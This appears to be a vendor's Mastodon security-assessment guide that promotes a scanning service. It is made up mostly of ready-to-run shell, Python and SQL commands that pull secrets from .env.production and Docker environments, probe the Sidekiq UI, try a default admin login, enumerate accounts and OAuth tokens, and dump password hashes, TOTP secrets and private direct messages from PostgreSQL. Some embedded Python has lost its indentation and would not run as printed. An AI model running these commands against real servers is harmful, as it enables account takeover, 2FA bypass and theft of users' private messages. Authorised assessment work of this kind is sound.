Mastodon is a widely deployed self-hosted federated social media server — organizations and communities use it to run their own Twitter-like platforms. Key assessment areas: SECRET_KEY_BASE and OTP_SECRET from .env.production enable session token forgery and two-factor authentication bypass; PostgreSQL stores all private direct messages and OAuth application tokens; the admin panel provides full control over all accounts; and the Sidekiq web UI is often deployed without authentication providing RCE via job injection. This guide covers systematic Mastodon security assessment.
# Mastodon — environment variable extraction and key compromise
MASTODON_URL="https://social.example.com"
# .env.production — Mastodon primary configuration (all secrets)
cat /home/mastodon/live/.env.production 2>/dev/null | grep -v "^#" | grep -v "^$"
# Critical secrets:
# SECRET_KEY_BASE — Rails session signing key (session token forgery)
# OTP_SECRET — TOTP two-factor authentication secret (2FA bypass)
# VAPID_PRIVATE_KEY — Web push notification signing key
# SMTP_PASSWORD — email delivery password
# AWS_SECRET_ACCESS_KEY or S3_SECRET_ACCESS_KEY — media storage key
# DB_PASS — PostgreSQL password
# REDIS_URL — Redis connection string (may include password)
# Docker environment
docker inspect mastodon_web 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['SECRET','KEY','PASSWORD','PASS','AWS','S3','VAPID','SMTP']):
print(e)
" 2>/dev/null
# Sidekiq web UI — often deployed without authentication
SIDEKIQ=$(curl -s -o /dev/null -w "%{http_code}" "${MASTODON_URL}/sidekiq" 2>/dev/null)
echo "Sidekiq UI: HTTP $SIDEKIQ"
# 200 = Sidekiq UI accessible without authentication
# Sidekiq UI allows: viewing all background jobs, retrying failed jobs,
# and in some configurations triggering arbitrary job execution
# Check if Rails debug mode is enabled (stack traces with env vars)
curl -s "${MASTODON_URL}/nonexistent_path_that_triggers_500" 2>/dev/null | \
grep -i "SECRET_KEY_BASE\|env\|password" | head -5
# Mastodon admin panel and API token enumeration
MASTODON_URL="https://social.example.com"
# Admin panel login — first registered user is often admin
curl -s -X POST "${MASTODON_URL}/auth/sign_in" \
-H "Content-Type: application/x-www-form-urlencoded" \
-c /tmp/mast_jar \
-d "user[email]=admin@example.com&user[password]=password" \
-o /dev/null -w "%{http_code}" 2>/dev/null
# Admin API — user enumeration (requires admin scope token)
ADMIN_TOKEN="your-admin-token"
curl -s "${MASTODON_URL}/api/v1/admin/accounts?limit=200" \
-H "Authorization: Bearer ${ADMIN_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Accounts: {len(d)}')
for u in d[:10]:
print(f' [{u.get(\"id\")}] {u.get(\"username\")}@{u.get(\"domain\",\"local\")}')
print(f' email={u.get(\"email\")} admin={u.get(\"role\",{}).get(\"name\")}')
print(f' confirmed={u.get(\"confirmed\")} suspended={u.get(\"suspended\")}')
" 2>/dev/null
# All OAuth application tokens (regular user endpoint)
curl -s "${MASTODON_URL}/api/v1/oauth_tokens" \
-H "Authorization: Bearer ${ADMIN_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
print(f'OAuth tokens: {len(d)}')
for t in d[:5]:
print(f' app={t.get(\"app\",{}).get(\"name\")} scopes={t.get(\"scopes\")}')
except: pass
" 2>/dev/null
# Instance federation secrets
curl -s "${MASTODON_URL}/.well-known/webfinger?resource=acct:admin@${MASTODON_URL#https://}" \
2>/dev/null | python3 -c "import json,sys; d=json.load(sys.stdin); print(d)" 2>/dev/null
# Mastodon PostgreSQL database extraction
MASTODON_DB="mastodon_production" # or mastodon
psql -h localhost -U mastodon -d "$MASTODON_DB" 2>/dev/null << 'EOF'
-- All user accounts with credentials
SELECT id, username, email,
encrypted_password, -- bcrypt hash
otp_secret, -- TOTP secret (2FA bypass if extracted)
confirmed_at,
admin, -- true=admin
created_at
FROM accounts
WHERE domain IS NULL -- local accounts only
ORDER BY admin DESC, created_at
LIMIT 20;
EOF
-- All private direct messages (Mastodon stores them in statuses)
psql -h localhost -U mastodon -d "$MASTODON_DB" 2>/dev/null << 'EOF'
SELECT s.id,
a.username as author,
s.text, -- message content
s.visibility, -- 'direct' = DM
s.created_at
FROM statuses s
JOIN accounts a ON s.account_id = a.id
WHERE s.visibility = 'direct'
ORDER BY s.created_at DESC
LIMIT 20;
EOF
-- Direct messages are stored unencrypted in PostgreSQL
-- All OAuth access tokens
psql -h localhost -U mastodon -d "$MASTODON_DB" 2>/dev/null << 'EOF'
SELECT oa.token,
oa.scopes,
oa.created_at,
oa.revoked_at,
a.username
FROM oauth_access_tokens oa
JOIN users u ON oa.resource_owner_id = u.id
JOIN accounts a ON u.account_id = a.id
WHERE oa.revoked_at IS NULL
ORDER BY oa.created_at DESC
LIMIT 20;
EOF
-- Media attachment S3 paths
psql -h localhost -U mastodon -d "$MASTODON_DB" 2>/dev/null << 'EOF'
SELECT ma.file_file_name, ma.file_content_type,
ma.file_file_size, ma.account_id,
ma.created_at
FROM media_attachments ma
ORDER BY ma.created_at DESC
LIMIT 10;
EOF
| Security Test | Method | Risk |
|---|---|---|
| SECRET_KEY_BASE and OTP_SECRET extraction from .env.production | Read .env.production — SECRET_KEY_BASE enables arbitrary session token forgery for any account; OTP_SECRET enables computing TOTP codes bypassing two-factor authentication for all users | Critical |
| Sidekiq web UI unauthenticated access | GET /sidekiq — if accessible without auth, view all job data (user emails in parameters), retry jobs; in some configurations inject arbitrary background jobs | High |
| PostgreSQL direct message extraction | SELECT text FROM statuses WHERE visibility='direct' — all private DMs stored in plaintext; no encryption at rest; complete private conversation history | High |
| OAuth access token enumeration | SELECT token FROM oauth_access_tokens WHERE revoked_at IS NULL — all active OAuth tokens for all users; persistent API access to all accounts | High |
| S3 media bucket credential extraction | Read AWS_SECRET_ACCESS_KEY from .env.production — full access to media bucket; all uploaded images, videos, and files including private attachments | High |
Ironimo tests Mastodon deployments for .env.production SECRET_KEY_BASE and OTP_SECRET extraction, Sidekiq web UI unauthenticated access, admin panel credential testing, PostgreSQL direct message plaintext extraction, OAuth access token enumeration, S3_SECRET_ACCESS_KEY media bucket access, VAPID_PRIVATE_KEY push notification signing, accounts table bcrypt password hash and otp_secret extraction, federation actor private key exposure, and SMTP_PASSWORD email credential disclosure.
Start free scan